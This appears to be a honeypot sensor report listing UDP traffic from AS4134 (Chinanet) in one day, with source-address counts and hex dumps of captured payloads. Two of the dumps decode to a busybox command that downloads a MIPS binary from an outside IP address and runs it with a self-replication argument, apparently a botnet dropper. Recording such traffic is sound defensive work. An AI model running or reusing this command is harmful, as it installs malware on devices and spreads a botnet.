UDP traffic
Datagrams matching asn:4134 sent to HoneyLabs sensors over UDP in the last 24 hours. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.
A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.
6
Datagrams
5
Source addresses
1
Networks
1
Countries
5
Destination ports
Source addresses (unverified)
| Address | Network | Cc | Datagrams | Last seen (UTC) |
|---|---|---|---|---|
| 123.178.147.22 | AS4134 Chinanet | CN | 2 | 2026-10-05 20:15 |
| 117.25.122.217 | AS4134 Chinanet | CN | 1 | 2026-10-05 15:46 |
| 180.110.237.193 | AS4134 Chinanet | CN | 1 | 2026-10-05 16:10 |
| 113.69.170.244 | AS4134 Chinanet | CN | 1 | 2026-10-05 15:38 |
| 14.145.30.216 | AS4134 Chinanet | CN | 1 | 2026-10-05 20:28 |
Latest datagrams
payload bytes
00000000 01 a1 2e d0 87 38 34 44 d3 00 ff ff 00 fe fe fe |.....84D........| 00000010 fe fd fd fd fd 12 34 56 78 ea d9 e6 1a 75 51 32 |......4Vx....uQ2| 00000020 c7 |.|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|
payload bytes
00000000 7e 14 5a 2e 61 02 06 73 3f 38 52 ef c5 c6 6f e5 |~.Z.a..s?8R...o.| 00000010 f2 c7 68 1b f4 db 3e 58 0c 83 d3 26 fd 30 11 bd |..h...>X...&.0..| 00000020 fa 27 1b e0 76 a1 54 4e 53 80 25 f4 f2 d0 87 c0 |.'..v.TNS.%.....| 00000030 ef 1b 9a f9 bb 4a 2e 12 b5 77 d1 ca 5d 2e 2f 34 |.....J...w..]./4| 00000040 54 0e 43 1d d5 e4 58 7d 14 58 75 3c 01 c4 65 71 |T.C...X}.Xu<..eq| 00000050 d7 55 51 74 c4 69 95 ce fa 3d b6 58 21 bf ac 07 |.UQt.i...=.X!...| 00000060 ee ad ad f9 56 20 13 9c c3 87 a3 75 e1 6b 94 17 |....V .....u.k..| 00000070 20 76 c2 83 9e e7 d6 86 18 f5 22 ef 7e 40 5d 5b | v........".~@][| 00000080 43 4e be cb bd aa 65 fa dc 0a 17 02 50 e4 f8 b3 |CN....e.....P...| 00000090 3a 68 0d 8a 84 0b ea 5d 0f ab 11 e7 d9 09 bf 93 |:h.....]........| 000000a0 2c ef 12 72 c1 7c a9 7f e8 e9 8a 15 41 db 10 7e |,..r.|......A..~| 000000b0 20 30 9e 9b e6 18 e5 af 5b 61 62 ed 65 65 50 15 | 0......[ab.eeP.| 000000c0 df 48 25 7f f5 4d 80 f8 07 83 16 06 ed b5 fb 90 |.H%..M..........| 000000d0 9d 74 cd c5 34 66 d8 3f 73 d4 64 8d ef 4c 7d c0 |.t..4f.?s.d..L}.| 000000e0 e1 a1 ba 6e c4 83 af 92 ae 1a c3 39 4d 33 f3 13 |...n.......9M3..| 000000f0 7b 2d fd a8 03 2a a2 46 13 5e 95 67 f7 60 76 ed |{-...*.F.^.g.`v.| ... 512 bytes shown in partpayload bytes
00000000 00 00 00 0d 01 00 00 01 00 0a 20 53 18 |.......... S.|
payload bytes
00000000 01 86 08 92 42 b0 dc 36 b7 00 ff ff 00 fe fe fe |....B..6........| 00000010 fe fd fd fd fd 12 34 56 78 0a 88 e9 56 7e 71 09 |......4Vx...V~q.| 00000020 01 |.|
payload bytes
00000000 6f 72 66 3b 63 64 20 2f 74 6d 70 3b 20 72 6d 20 |orf;cd /tmp; rm | 00000010 2d 72 66 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b |-rf alya.mipsel;| 00000020 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 | /bin/busybox wg| 00000030 65 74 20 68 74 74 70 3a 2f 2f 32 30 32 2e 31 31 |et http://202.11| 00000040 30 2e 37 30 2e 36 30 3a 38 30 30 2f 61 6c 79 61 |0.70.60:800/alya| 00000050 2e 6d 69 70 73 65 6c 3b 20 63 68 6d 6f 64 20 2b |.mipsel; chmod +| 00000060 78 20 61 6c 79 61 2e 6d 69 70 73 65 6c 3b 20 2e |x alya.mipsel; .| 00000070 2f 61 6c 79 61 2e 6d 69 70 73 65 6c 20 72 74 2e |/alya.mipsel rt.| 00000080 73 65 6c 66 72 65 70 3b 20 23 |selfrep; #|